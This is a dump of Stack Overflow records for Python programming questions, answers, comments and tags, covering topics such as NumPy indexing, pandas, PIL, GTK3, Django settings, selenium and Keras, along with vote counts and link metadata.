has body: I'm handling large numerical arrays in python through a GUI. I'd like to expose the slicing capabilities to a textbox in a GUI, so I can easily choose part of the array that should be used for the calculation at hand. Simple example of what I'd like to do: arr = array([0, 10, 20, 30, 40, 50, 60, 70, 80, 90]) a = "2:4" # example string from GUI Textbox b = "[3, 4, 5]" # example string from GUI Textbox print arr[a] # not valid code -&gt; what should be written here to make it work? print arr[b] # not valid code -&gt; what should be written here to make it work? should output: [20, 30] [30, 40, 50] I found out about the slice function, but I'd need to parse my string manually and create a slice. Is there a simpler way?
tagged with: python
tagged with: slice
linked to: http://stackoverflow.com/q/1087255
possible better answer: http://stackoverflow.com/a/47352209
has comment: http://stackoverflow.com/comment/81704520
type: Question
tagged with: numpy
has answer: http://stackoverflow.com/a/47354114
has answer: http://stackoverflow.com/a/47352209
answer count: 2
downvote count: 0
tagged with: arrays
has title: Using string as array indices in NumPy
favorite count: 0
accepted answer: http://stackoverflow.com/a/47354114
type: AnsweredQuestion
score: 3
upvote count: 3
linked to: http://stackoverflow.com/q/1832940

http://stackoverflow.com/comment/81686161
has text: Please include the code in your question, not a link to an image which may expire.
type: Comment
comment on: http://stackoverflow.com/q/47366873
score: 1
type: QuestionComment

http://stackoverflow.com/q/47295455
has body: Here is a fictitious example: id cluster 1 3 2 3 3 3 4 1 5 5 So the cluster for id 4 and 5 should be replaced by some text. So, I'm able to find which values have a frequency of less than 3 using: counts = distclust.groupby("cluster")["cluster"].count() counts[counts &lt; 3].index.values Now, I'm not sure I go and replace these values in my dataframe with some arbitrary text (i.e. "noise") I think that is enough information, let me know if you'd like me to include anything else:
has answer: http://stackoverflow.com/a/47295504
accepted answer: http://stackoverflow.com/a/47295504
type: Question
tagged with: python
type: AnsweredQuestion
score: 0
answer count: 2
tagged with: pandas
has title: How do I group all values in a pandas column that have a frequency of 2 or less
has answer: http://stackoverflow.com/a/47295586
possible better answer: http://stackoverflow.com/a/47295586

http://stackoverflow.com/a/47337766
score: 1
upvote count: 1
downvote count: 0
has body: To address 'None', you need to use replace then fillna much like @COLDSPEED suggests: dr = df.Col_A.replace('None',np.nan) dr.fillna(dr.dropna().value_counts().index[0]) Output: 0 a 1 d 2 d 3 c 4 c 5 d 6 d Name: Col_A, dtype: object
type: Answer
answers question: http://stackoverflow.com/q/47337195

http://stackoverflow.com/a/47368574
has comment: http://stackoverflow.com/comment/137879178
answers question: http://stackoverflow.com/q/47368311
upvote count: 6
accepted answer of: http://stackoverflow.com/q/47368311
has body: From the documentation: https://docs.opencv.org/2.4/modules/imgproc/doc/miscellaneous_transformations.html blockSize – Size of a pixel neighborhood that is used to calculate a threshold value for the pixel: 3, 5, 7, and so on. A block is centered around a pixel so it has to be an odd number to make any sense. 3,5,7 and so on means odd numbers > 1 Please read documentations. They tell you how to use stuff properly.
type: AcceptedAnswer
downvote count: 0
type: Answer
score: 6

jinja2
tags question: http://stackoverflow.com/q/47231898
tags question: http://stackoverflow.com/q/47263637
tags question: http://stackoverflow.com/q/47255958
tags question: http://stackoverflow.com/q/47297190
tags question: http://stackoverflow.com/q/47243887
tag name: jinja2
tags question: http://stackoverflow.com/q/47317722
tags question: http://stackoverflow.com/q/47294304
tags question: http://stackoverflow.com/q/47278176
tags question: http://stackoverflow.com/q/47314299
type: Tag

http://stackoverflow.com/q/47255899
has comment: http://stackoverflow.com/comment/81463868
downvote count: 1
has title: Trying to write a code that will find the sum of the even numbers of the Fibonacci sequence?
favorite count: 0
has answer: http://stackoverflow.com/a/47255988
type: Question
has comment: http://stackoverflow.com/comment/81464143
has answer: http://stackoverflow.com/a/47255970
type: UnansweredQuestion
tagged with: python
score: -1
has comment: http://stackoverflow.com/comment/81462740
has body: I'm new to programming and I'm trying to write a program in Python that will find the sum of the even numbers of the numbers below 4,000,000 in the Fibonacci sequence. I'm not sure what I'm doing wrong but nothing will print. Thanks for any help. def fib(): listx = [] for x in range(4000000): if x == 0: return 1 elif x == 1: return 1 else: listx.append(fib(x - 1) + fib(x - 2)) return listx def evens(fib): y = 0 for x in fib(): if x % 2 == 0: y += x else: continue print (y)
has answer: http://stackoverflow.com/a/47256036
has comment: http://stackoverflow.com/comment/81462683
has comment: http://stackoverflow.com/comment/81462719
answer count: 3
has comment: http://stackoverflow.com/comment/81462663
upvote count: 0
has comment: http://stackoverflow.com/comment/81463438
has comment: http://stackoverflow.com/comment/81462848

http://stackoverflow.com/comment/81433470
comment on: http://stackoverflow.com/q/47240087
type: Comment
has text: Look into Cython.
type: QuestionComment
score: 0

http://stackoverflow.com/comment/81621350
comment on: http://stackoverflow.com/q/47310576
score: 0
type: Comment
type: QuestionComment
has text: ***I would suggest not passing data between different pieces of python code as command line args***. Any reasons behind this?

http://stackoverflow.com/q/47252118
score: 6
tagged with: python
upvote count: 6
has body: I would like to find the local minima and maxima simultanously in an array. I attempted to use Scipy's argrelextrema, but I don't find any documentation on the required comparator function. I attempted to write my own with no success. How could I do this? I'd like to do this, but only calling argrelextrema once instead of iterating over the data twice with argrelmin and argrelmax, as my data is pretty long, and I have to do this multiple times with it: import numpy as np import scipy.signal as sg data = [[xes], [ys]] #a long 2d array max_places = np.array(sg.argrelmax(data[1]))[0] min_places = np.array(sg.argrelmin(data[1]))[0] extrema_places = np.contantenate((max_places, min_places))
answer count: 1
downvote count: 0
tagged with: scipy
favorite count: 0
type: Question
tagged with: numpy
has answer: http://stackoverflow.com/a/47252524
has title: Find local minima and maxima simultanously with scipy.signal.argrelextrema
type: UnansweredQuestion

http://stackoverflow.com/comment/81558984
type: AnswerComment
comment on: http://stackoverflow.com/a/47303900
score: 0
type: Comment
has text: yes,I am getting the same value two time, I think of applying `list(set(result))` after getting the result for this solution, cos still this takes less time, what do you say? @MosesKoledoye

http://stackoverflow.com/a/48209285
answers question: http://stackoverflow.com/q/47359743
has body: A possible simple route is to use numba. from numba import autojit import numpy as np @autojit(nopython=True) def min_plus_product(A,B): n = A.shape[0] C = np.zeros((n,n)) for i in range(n): for j in range(n): minimum = A[i,0]+B[0,j] for k in range(1,n): minimum = min(A[i,k]+B[k,j],minimum) C[i,j] = minimum return C Timings on 1000x1000 A,B matrices are: 1 loops, best of 3: 4.28 s per loop for the original code 1 loops, best of 3: 2.32 s per loop for the numba code
downvote count: 0
upvote count: 1
score: 1
type: Answer

scons
tag name: scons
type: Tag
tags question: http://stackoverflow.com/q/47274330

http://stackoverflow.com/q/47334404
possible better answer: http://stackoverflow.com/a/47334457
tagged with: is-empty
has answer: http://stackoverflow.com/a/47334457
has answer: http://stackoverflow.com/a/47334550
has comment: http://stackoverflow.com/comment/81620862
has answer: http://stackoverflow.com/a/47334642
type: AnsweredQuestion
score: 0
has answer: http://stackoverflow.com/a/47344334
has answer: http://stackoverflow.com/a/47334756
tagged with: pandas
has body: I must not understand something about emptiness when it comes to pandas DataFrames. I have a DF with empty rows but when I isolate one of these rows its not empty. Here I've made a dataframe: &gt;&gt;&gt; df = pandas.DataFrame(columns=[1,2,3], data=[[1,2,3],[1,None,3],[None, None, None],[3,2,1],[4,5,6],[None,None,None],[None,None,None]]) &gt;&gt;&gt; df 1 2 3 0 1.0 2.0 3.0 1 1.0 NaN 3.0 2 NaN NaN NaN 3 3.0 2.0 1.0 4 4.0 5.0 6.0 5 NaN NaN NaN 6 NaN NaN NaN Then I know row '2' is full of nothing so I check for that... &gt;&gt;&gt; df[2:3].empty False Odd. So I split it out into its own dataframe: &gt;&gt;&gt; df1 = df[2:3] &gt;&gt;&gt; df1 1 2 3 2 NaN NaN NaN &gt;&gt;&gt; df1.empty False How do I check for emptiness (all the elements in a row being None or NaN?) http://pandas.pydata.org/pandas-docs/version/0.18/generated/pandas.DataFrame.empty.html
has title: Empty DataFrame doesn't admit its empty
tagged with: dataframe
tagged with: python
has answer: http://stackoverflow.com/a/47334464
accepted answer: http://stackoverflow.com/a/47334464
answer count: 6
has comment: http://stackoverflow.com/comment/81620165
type: Question

http://stackoverflow.com/q/47290668
tagged with: python-imaging-library
has comment: http://stackoverflow.com/comment/81532096
tagged with: python
has body: I'm trying to save a numpy matrix as a grayscale image using Image.fromarray. It seems to work on a random matrix, but not on a particular one (where there should appear a circle). Can anyone explain what I'm doing wrong? from PIL import Image import numpy as np radius = 0.5 size = 10 x,y = np.meshgrid(np.linspace(-1,1,size),np.linspace(-1,1,size)) f = np.vectorize(lambda x,y: ( 1.0 if x*x + y*y &lt; radius*radius else 0.0)) z = f(x,y) print(z) zz = np.random.random((size,size)) img = Image.fromarray(zz,mode='L') #replace z with zz and it will just produce a black image img.save('my_pic.png')
has comment: http://stackoverflow.com/comment/81532012
type: AnsweredQuestion
has title: Image.fromarray just produces black image
downvote count: 0
answer count: 1
has comment: http://stackoverflow.com/comment/81531917
has comment: http://stackoverflow.com/comment/81531949
score: 46
upvote count: 46
favorite count: 0
type: Question
tagged with: numpy
has answer: http://stackoverflow.com/a/47292141
accepted answer: http://stackoverflow.com/a/47292141

http://stackoverflow.com/comment/81538227
score: 0
comment on: http://stackoverflow.com/a/47292305
type: Comment
has text: In the end I inserted it into URI of already provided example of the database. :)
type: AnswerComment

http://stackoverflow.com/q/47313817
favorite count: 0
has comment: http://stackoverflow.com/comment/81606848
type: Question
score: 3
has comment: http://stackoverflow.com/comment/82178242
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/81606996
tagged with: python
has comment: http://stackoverflow.com/comment/81625079
has comment: http://stackoverflow.com/comment/81591322
tagged with: gobject
has comment: http://stackoverflow.com/comment/81609523
has comment: http://stackoverflow.com/comment/81620621
has answer: http://stackoverflow.com/a/47595821
has comment: http://stackoverflow.com/comment/81648816
upvote count: 3
has title: Python, GTK3, How can I change view of disabled widget to normal view from disabled view?
downvote count: 0
answer count: 1
tagged with: gtk3
linked to: http://stackoverflow.com/q/38158289
has body: after I change widget state to disabled. view of widget is changing to disabled view. I don't want to change view of widget only change state of widget. How can I ensure this ? thanks. btn = Gtk.Button("example") btn.set_sensitive(False) # this code makes button disabled. btn.set_view("normal") # I know set_view method does not exist but is there a method like this to change disabled view to normal view. my full code import gi gi.require_version("Gtk", "3.0") from gi.repository import Gtk class TitledEntry(Gtk.VBox): def __init__(self, title=None, text=""): Gtk.VBox.__init__(self, spacing=2) title = Gtk.Label(label=title, halign=Gtk.Align.START) self.add(title) entry = Gtk.Entry(text=text) self.add(entry) self.title_label = title self.entry = entry self.show_all() class AgeBox(Gtk.HBox): def __init__(self, age=0): Gtk.HBox.__init__(self, halign=Gtk.Align.START) lb = Gtk.Label("Age : ") self.add(lb) agebutton = Gtk.SpinButton(adjustment=Gtk.Adjustment(age, 0, 1000, 1, 10, 0), numeric=True, update_policy=Gtk.SpinButtonUpdatePolicy.IF_VALID) agebutton.set_value(age) self.add(agebutton) self.agebutton = agebutton class HumanTemp(Gtk.VBox): def __init__(self, nick="", age=0, country="", language=""): Gtk.VBox.__init__(self, spacing=3, border_width=5, halign=Gtk.Align.CENTER) temp_name = Gtk.Label() temp_name.set_markup("Human") self.pack_start(temp_name, False, False, 0) nick_box = TitledEntry("Nick", nick) self.pack_start(nick_box, False, False, 0) age_box = AgeBox(age) self.pack_start(age_box, False, False, 0) country_box = TitledEntry("Country", country) self.pack_start(country_box, False, False, 0) language_box = TitledEntry("Language", language) self.pack_start(language_box, False, False, 0) self.show_all() class AnimTemp(Gtk.VBox): def __init__(self, nick="", age=0, kind="wolf"): Gtk.VBox.__init__(self, spacing=3, border_width=5, halign=Gtk.Align.CENTER) temp_name = Gtk.Label() temp_name.set_markup("Animal") self.pack_start(temp_name, False, False, 0) nick_box = Ti…

http://stackoverflow.com/q/47251383
score: 0
tagged with: pandas
type: UnansweredQuestion
answer count: 1
tagged with: variables
tagged with: urllib
type: Question
has answer: http://stackoverflow.com/a/47251606
has comment: http://stackoverflow.com/comment/81453038
tagged with: python
has title: urlopen error while updating url with variable
has body: I am trying to update the url with keywords from another file and read the contents of the url but it is throwing error f = open('myfile.txt') for line in iter(f): id = line.strip('\n') url_sell = 'https://example.com/getmarketsummary?market='+str(id) df = pd.read_json(url_sell, orient='columns') Below is the error urllib2.URLError: &lt;urlopen error no host given&gt;

http://stackoverflow.com/comment/81434792
comment on: http://stackoverflow.com/a/47241960
score: 1
type: Comment
type: AnswerComment
has text: @TheAfghan: so ...plz write your IO sample in your question, i will check it.

http://stackoverflow.com/q/47283173
tagged with: web-scraping
tagged with: python
tagged with: python-requests
possible better answer: http://stackoverflow.com/a/47305524
downvote count: 1
favorite count: 0
tagged with: beautifulsoup
type: AnsweredQuestion
has title: Not logging in with requests.session()
accepted answer: http://stackoverflow.com/a/47285495
score: -1
has comment: http://stackoverflow.com/comment/81516893
has answer: http://stackoverflow.com/a/47285495
type: Question
has answer: http://stackoverflow.com/a/47305524
answer count: 2
upvote count: 0
tagged with: session
has body: I used requests library to log in to a website. I tried with scrapy, it is working fine. but when i try with requests, it is not working. I am getting the content of main page but not the page after logging in. when i print the url after post() method, i am not getting correct url. The code is below import requests from bs4 import BeautifulSoup r=requests.get("http://collegekart.in/login") c=r.content soup=BeautifulSoup(c,"html.parser") token=soup.find("meta",{"name":"csrf-token"}) print(token) tok=token['content'] print(tok) s=requests.session() login={"username":'fdgdgfdgdfgdfg@gmail.com',"password":'dgfdgdfgfdgdfgd',"csrf-token":tok} s.post("http://collegekart.in/login",data=login) t=s.get("http://collegekart.in/users") print(t.url) sop=BeautifulSoup(t.content,"html.parser") print(sop.prettify()) I am getting the output content of "collegekart.in" instead of "collegekart.in/users.

http://stackoverflow.com/q/47299827
has title: Pip, pip3, and conflicting python distributions
type: Question
type: UnansweredQuestion
answer count: 1
has answer: http://stackoverflow.com/a/47332460
tagged with: fpic
has body: I am having trouble installing the python packages PyTransit and ktransit to Anaconda 3 (on Linux). It seems like lots of others have had similar errors, but none of their solutions have worked for me. There's a bunch of stuff going on: pip install ktransit gives: /usr/bin/ld: /home/name/anaconda3/lib/libgfortran.a(pause.o): relocation R_X86_64_32 against `.rodata.str1.8' can not be used when making a shared object; recompile with -fPIC /home/name/anaconda3/lib/libgfortran.a: error adding symbols: Bad value collect2: error: ld returned 1 exit status I would try to use ./configure with --enable-shared, but there's no config file. I tried adding extra_compile_args = ["-fPIC"], extra_link_args=["-fPIC"] to setup.py (as in https://github.com/h5py/h5py/issues/851), but that did nothing. pip install pytransit gives different errors: #warning "Using deprecated NumPy API, disable it by " \ Warning: src/gimenez.f90:35: Illegal preprocessor directive Warning: src/gimenez.f90:36: Illegal preprocessor directive Warning: src/gimenez.f90:37: Illegal preprocessor directive src/gimenez.f90:271.33: real(8), dimension(CHUNK_SIZE, npol) :: d 1 Error: Symbol 'chunk_size' at (1) has no IMPLICIT type Here's where it gets interesting. Using pip3 (or sudo pip) allows ktransit to install successfully, but does nothing for pytransit. Pip and pip3 seem to be tied to different places: which pip /home/name/anaconda3/bin/pip which pip3 /usr/local/bin/pip3 which python /home/name/anaconda3/bin/python Lastly, When I try to import ktransit in a jupyter notebook through anaconda, it fails, but when I import ktransit in the Jupyter QtConsole, it succeeds, but seems to contain itself and not provide actual functionality. What I mean is that I can't reference anything within the module, and: Help on package ktransit: NAME ktransit PACKAGE CONTENTS ktransit (package) setup FILE (built-in) I'm thinking that whatever version of python is associated with /usr/bin is somehow messing with me...or maybe there…
tagged with: gcc
score: 0
tagged with: linux
tagged with: anaconda
has comment: http://stackoverflow.com/comment/81555129
tagged with: python

http://stackoverflow.com/q/47322262
has comment: http://stackoverflow.com/comment/81595552
downvote count: 1
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/47322333
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/81595364
has title: Python code for word search in excel
tagged with: python
has body: I need a code that can search for the specific word in excel file. In the specific columns and I want it to output with columns letter and rows number and sheet name? I have started but don't know further: from xlrd import open_workbook book = open_workbook("excel1.xlsx") for sheet in book.sheets(): its needs to print row number, column letter, sheet name? also if you can use pandas instead xlrd it will be great.
score: 2
tagged with: python-2.7
tagged with: xlrd
tagged with: pandas
upvote count: 3
tagged with: spyder
answer count: 1
linked to: http://stackoverflow.com/q/36754941

http://stackoverflow.com/a/47380197
downvote count: 0
upvote count: 1
type: Answer
answers question: http://stackoverflow.com/q/47380170
has body: You can use a loop and your set value in a variable. Not exactly sure what you meant by generating a list. Consider the following: def addManyTimes(self, howManyTimes, initialValue, constantValue): your_list = [] for x in range(howManyTimes): initialValue += constantValue your_list.append(initialValue) return your_list
score: 1

http://stackoverflow.com/q/47287844
has comment: http://stackoverflow.com/comment/81525942
has answer: http://stackoverflow.com/a/47287976
answer count: 4
has comment: http://stackoverflow.com/comment/81525843
has comment: http://stackoverflow.com/comment/81526569
has comment: http://stackoverflow.com/comment/81526495
type: AnsweredQuestion
score: 0
accepted answer: http://stackoverflow.com/a/47287969
possible better answer: http://stackoverflow.com/a/47287961
has comment: http://stackoverflow.com/comment/81527541
has comment: http://stackoverflow.com/comment/81526394
upvote count: 1
has comment: http://stackoverflow.com/comment/81525824
has answer: http://stackoverflow.com/a/47287969
downvote count: 1
has answer: http://stackoverflow.com/a/47287961
favorite count: 0
has answer: http://stackoverflow.com/a/47288022
tagged with: python-3.x
has title: Why am I getting this syntax error: keyword can't be an expression
has comment: http://stackoverflow.com/comment/81526346
has body: def multiply(): number_1 = int (input ("Please insert the first number for multiplication:")) number_2 = int (input ("Please insert the second number for multiplication:")) result = str (number_1*number_2) return print (number_1*number_2=result) multiply() I am getting the Following error when trying to execute the following function. return print (number_1*number_2=result) ^ SyntaxError: keyword can't be an expression
type: Question
tagged with: python
has comment: http://stackoverflow.com/comment/81525902
has comment: http://stackoverflow.com/comment/81525847

http://stackoverflow.com/q/47295283
has comment: http://stackoverflow.com/comment/81541797
has body: Played with Python a lot some time ago. Had a major crash on MacBook (thought all was corrected) but now, checking version gives me the output below. Also, pip not working. Surely someone knows how or why this is the result on the version call. And perhaps there's a pointer in the direction of how to clean up my system. Thanks d$ python -v # installing zipimport hook import zipimport # builtin # installed zipimport hook # /System/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/site.pyc matches /System/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/site.py import site # precompiled from /System/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/site.pyc # /System/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/os.pyc matches /System/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/os.py import os # precompiled from /System/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/os.pyc import errno # builtin import posix # builtin # /System/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/posixpath.pyc matches /System/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/posixpath.py import posixpath # precompiled from /System/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/posixpath.pyc # /System/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/stat.pyc matches /System/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/stat.py import stat # precompiled from /System/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/stat.pyc # /System/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/genericpath.pyc matches /System/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/genericpath.py import genericpath # precompiled from /System/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/genericpath.pyc # /System/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/warnings.pyc matc…
type: Question
score: 0
tagged with: version
tagged with: python
has title: Python version? Returns below. Why? Fix?
has comment: http://stackoverflow.com/comment/81541813
tagged with: installation
has answer: http://stackoverflow.com/a/47295378
type: UnansweredQuestion
answer count: 1
has comment: http://stackoverflow.com/comment/81541721

http://stackoverflow.com/comment/81564856
has text: You can see what version you have by displaying the value of `sys.version` (after an `import sys`).
score: 0
comment on: http://stackoverflow.com/q/47307130
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/81581876
comment on: http://stackoverflow.com/a/47315492
has text: I have actually tried each of those and after doing so I get another error. **TypeError: mergeSort() takes 1 positional argument but 2 were given**
type: Comment
type: AnswerComment
score: 0

http://stackoverflow.com/q/47228488
has comment: http://stackoverflow.com/comment/81409575
type: Question
possible better answer: http://stackoverflow.com/a/77083266
has body: What is the difference between ALLOWED_HOSTS and CORS. If I have defined ALLOWED_HOSTS do I need to define also CORS? I am not using django templates. Also do I have the possibility to define those two dynamically?(I think not) I am using django as backend, and multiple reactjs frontend apps on different hosts.
has answer: http://stackoverflow.com/a/77083266
score: 32
tagged with: django-cors-headers
tagged with: django
tagged with: python
has title: Django ALLOWED_HOSTS vs CORS(django-cors-headers)
upvote count: 32
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/81409853
has comment: http://stackoverflow.com/comment/81409661
accepted answer: http://stackoverflow.com/a/47229671
has comment: http://stackoverflow.com/comment/81407982
answer count: 2
has answer: http://stackoverflow.com/a/47229671
downvote count: 0
favorite count: 0

http://stackoverflow.com/comment/81466778
score: 0
has text: @NeilLunn Thanks for reply. So you are saying that the problem might be outside of code? Did I understand you correctly? Thanks for the code corrections.
comment on: http://stackoverflow.com/q/47257646
type: Comment
type: QuestionComment

http://stackoverflow.com/q/47257678
score: 1
upvote count: 1
favorite count: 0
possible better answer: http://stackoverflow.com/a/47257883
type: Question
tagged with: path
downvote count: 0
has title: How to get only first 50 files from all subdirectories of a directory in Python?
accepted answer: http://stackoverflow.com/a/47257786
has comment: http://stackoverflow.com/comment/81466282
tagged with: python
has answer: http://stackoverflow.com/a/47257786
has answer: http://stackoverflow.com/a/47257916
type: AnsweredQuestion
has body: I am trying to get first 50 .jpg files from different subdirectories of a particular directory. Till now, I have only succedded in getting the path name of all using the following list of commands: import os import os.path for dirpath, dirnames, filenames in os.walk("."): for filename in [f for f in filenames if f.endswith(".jpg")]: print os.path.join(dirpath, filename) Can someone please tell as to how to extract only first 50 files from the subdirectories?
has comment: http://stackoverflow.com/comment/81466347
has answer: http://stackoverflow.com/a/47257883
answer count: 3
tagged with: file

http://stackoverflow.com/comment/81729415
comment on: http://stackoverflow.com/q/47312424
score: 0
has text: You are right. I actually don't use a zero DT process, but more a minimal DT process, and I pasted the wrong link. Just edited the question. The idea here is that I need to build a complete new venv from scratch each time I want to deploy, then perform a "switch venv" action at the end, so the amount of time the app is unresponding is drastically reduced
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/81454143
score: 0
type: AnswerComment
has text: Ahh. I did not realize mainmenu () called those two. Thank you! Editing now.
comment on: http://stackoverflow.com/a/47251924
type: Comment

http://stackoverflow.com/a/47360122
downvote count: 0
upvote count: 1
has comment: http://stackoverflow.com/comment/81689076
has comment: http://stackoverflow.com/comment/81688272
type: Answer
accepted answer of: http://stackoverflow.com/q/47359801
has body: def count(password, char_dict): sanitized_pass = [char for char in password if any(char in v for v in char_dict.values())] return sanitized_pass, len(sanitized_pass) Here's one way. Another would be to build a set of all the acceptable c characters and pass that to the function with the password from itertools import chain char_set = set(chain.from_iterable(characters.values())) def count(password, chars): sanitized_pass = [char for char in password if char in char_set] return sanitized_pass, len(sanitized_pass)
score: 1
answers question: http://stackoverflow.com/q/47359801
type: AcceptedAnswer

http://stackoverflow.com/a/47348206
accepted answer of: http://stackoverflow.com/q/47348157
has comment: http://stackoverflow.com/comment/81648742
upvote count: 10
has comment: http://stackoverflow.com/comment/81648484
has comment: http://stackoverflow.com/comment/81648551
downvote count: 1
has comment: http://stackoverflow.com/comment/81648751
has comment: http://stackoverflow.com/comment/103432143
has comment: http://stackoverflow.com/comment/81649672
has comment: http://stackoverflow.com/comment/81649966
score: 9
has comment: http://stackoverflow.com/comment/103431465
has comment: http://stackoverflow.com/comment/81648391
answers question: http://stackoverflow.com/q/47348157
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/81649718
type: Answer
has comment: http://stackoverflow.com/comment/81649315
has comment: http://stackoverflow.com/comment/103442551
has comment: http://stackoverflow.com/comment/81650784
has comment: http://stackoverflow.com/comment/81649845
has comment: http://stackoverflow.com/comment/81650065
has comment: http://stackoverflow.com/comment/81648830
has body: Use DataFrame.isin for check all columns and DataFrame.any for check at least one True per row: m = df.isin(my_word).any() print (m) 0 False 1 True 2 False dtype: bool And then get columns names by filtering: cols = m.index[m].tolist() print(cols) [1] Data: print (df) 0 1 2 0 NaN good employee 1 Not available best employer 2 not required well manager 3 not eligible super reportee Detail: print (df.isin(my_word)) 0 1 2 0 False False False 1 False False False 2 False True False 3 False False False print (df.isin(my_word).any()) 0 False 1 True 2 False dtype: bool EDIT After converting get nested lists, so flattening is necessary: my_word=["well","manager"] m = df.isin(my_word).any() print (m) 0 False 1 True 2 True dtype: bool nested = df.loc[:,m].values.tolist() flat_list = [item for sublist in nested for item in sublist] print (flat_list) ['good', 'employee', 'best', 'employer', 'well', 'manager', 'super', 'reportee']
has comment: http://stackoverflow.com/comment/81649120
has comment: http://stackoverflow.com/comment/81649375
has comment: http://stackoverflow.com/comment/81649560

http://stackoverflow.com/comment/81670208
comment on: http://stackoverflow.com/a/47358713
type: Comment
type: AnswerComment
score: 0
has text: Oh I see now what you were trying to do. Nice job.

http://stackoverflow.com/comment/81653893
type: Comment
has text: Thanks for your answer, you are right it's normal to wait for the getch(). But there is another problem that I noticed. In fact, I want to update my line on the following : time_func() column_one.addstr(3,1, line) every 10 seconds, because the function( as I defined ) normally returns every 10 seconds a different string.. but in fact, on my actual program, when I give a KEY_RESIZE, it relaunches the function and do not display the 2nd string returned after 10seconds by the function.
type: AnswerComment
comment on: http://stackoverflow.com/a/47342148
score: 0

http://stackoverflow.com/comment/81716541
score: 0
comment on: http://stackoverflow.com/q/47381962
has text: What are the urls: linklist?, to be able to test your question
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/115974251
score: 0
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/47371893
has text: Thanks for sharing, yes it's easy to overlook things in this complex ecosystem. Using `START_REDELIVER_INTENT` could have been a simpler option. FYI there's an on-going PR to address that https://github.com/kivy/python-for-android/pull/2401

http://stackoverflow.com/comment/81719511
type: Comment
score: 0
comment on: http://stackoverflow.com/a/47275326
type: AnswerComment
has text: You shouldn't need to put it outside of your if statement (if the code you have posted is accurate to your actual code). But in any case, I'm glad you've gotten it working.

http://stackoverflow.com/q/47256089
tagged with: selenium
has comment: http://stackoverflow.com/comment/81463480
has comment: http://stackoverflow.com/comment/121615366
has answer: http://stackoverflow.com/a/66866315
accepted answer: http://stackoverflow.com/a/47257870
type: Question
has answer: http://stackoverflow.com/a/47257870
has comment: http://stackoverflow.com/comment/81465847
has answer: http://stackoverflow.com/a/47258030
possible better answer: http://stackoverflow.com/a/47257324
has body: I am attempting to use the below code to use selenium (python) to select an option from a dropdown on a webpage. from selenium import webdriver from selenium.webdriver.common.by import By from selenium.webdriver.support.ui import WebDriverWait from selenium.webdriver.support import expected_conditions as EC path_to_chromedriver = 'C:/Users/User_1/chromedriver/chromedriver' browser = webdriver.Chrome(executable_path = path_to_chromedriver) url = 'https://lifeinsurance.rac.com.au/rac/get-a-quote?productid=51' browser.get(url) wait = WebDriverWait(browser, 10) # residence listbox drop_down = browser.find_element_by_xpath('//*[@id="divApplicantDetails__1"]/div[8]/div/div[2]/span/span/span[1]') browser.execute_script('arguments[0].style.display="inline";', drop_down) wait.until(EC.element_to_be_clickable((By.XPATH, '//*[@id="divApplicantDetails__1"]/div[8]/div/div[2]/span/span/span[1]'))) wait.until(EC.element_to_be_clickable((By.XPATH, r'//*[@id="ddResidentialStatusId__1_listbox"]/li[1]'))).click() There are occasions where it works (and an option from the dropdown is selected), but on other occasions an option from the dropdown is NOT selected (and no error raised either). I would appreciate any feedback on how to consistently select an option from the dropdown noted in the code provided.
has answer: http://stackoverflow.com/a/47257324
tagged with: python
has title: python selenium - selecting option from dropdown
answer count: 4
has comment: http://stackoverflow.com/comment/81463882
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/81464760
score: 0

http://stackoverflow.com/q/47360148
has answer: http://stackoverflow.com/a/63939360
upvote count: 3
has body: I am new to Keras and Tensorflow. I am working on a face recognition project using deep learning. I am getting the class label of a subject as an output using this code (output of softmax layer) and the accuracy is 97.5% for my custom dataset of 100 classes. But now I'm interested in the feature vector representation, so I want to pass the test images through the network and extract the output from activated dense layer before softmax (last layer). I referred Keras documentation, but nothing seemed to work for me. Can anyone please help me how to extract the output from the dense layer activation and save as a numpy array? Thanks in advance. class Faces: @staticmethod def build(width, height, depth, classes, weightsPath=None): # initialize the model model = Sequential() model.add(Conv2D(100, (5, 5), padding="same",input_shape=(depth, height, width), data_format="channels_first")) model.add(Activation("relu")) model.add(MaxPooling2D(pool_size=(2, 2), strides=(2, 2),data_format="channels_first")) model.add(Conv2D(100, (5, 5), padding="same")) model.add(Activation("relu")) model.add(MaxPooling2D(pool_size=(2, 2), strides=(2, 2), data_format="channels_first")) # 3 set of CONV =&gt; RELU =&gt; POOL model.add(Conv2D(100, (5, 5), padding="same")) model.add(Activation("relu")) model.add(MaxPooling2D(pool_size=(2, 2), strides=(2, 2),data_format="channels_first")) # 4 set of CONV =&gt; RELU =&gt; POOL model.add(Conv2D(50, (5, 5), padding="same")) model.add(Activation("relu")) model.add(MaxPooling2D(pool_size=(2, 2), strides=(2, 2),data_format="channels_first")) # 5 set of CONV =&gt; RELU =&gt; POOL model.add(Conv2D(50, (5, 5), padding="same")) model.add(Activation("relu")) model.add(MaxPooling2D(pool_size=(2, 2), strides=(2, 2), data_format="channels_first")) # 6 set of CONV =&gt; RELU =&gt; POOL model.add(Conv2D(50, (5, 5), padding="same")) model.add(Activation("relu")) model.add(MaxPooling2D(pool_size=(2, 2), strides=(2, 2), data_format="channels_first")) # set of FC =&gt; …
score: 3
answer count: 2
tagged with: deep-learning
downvote count: 0
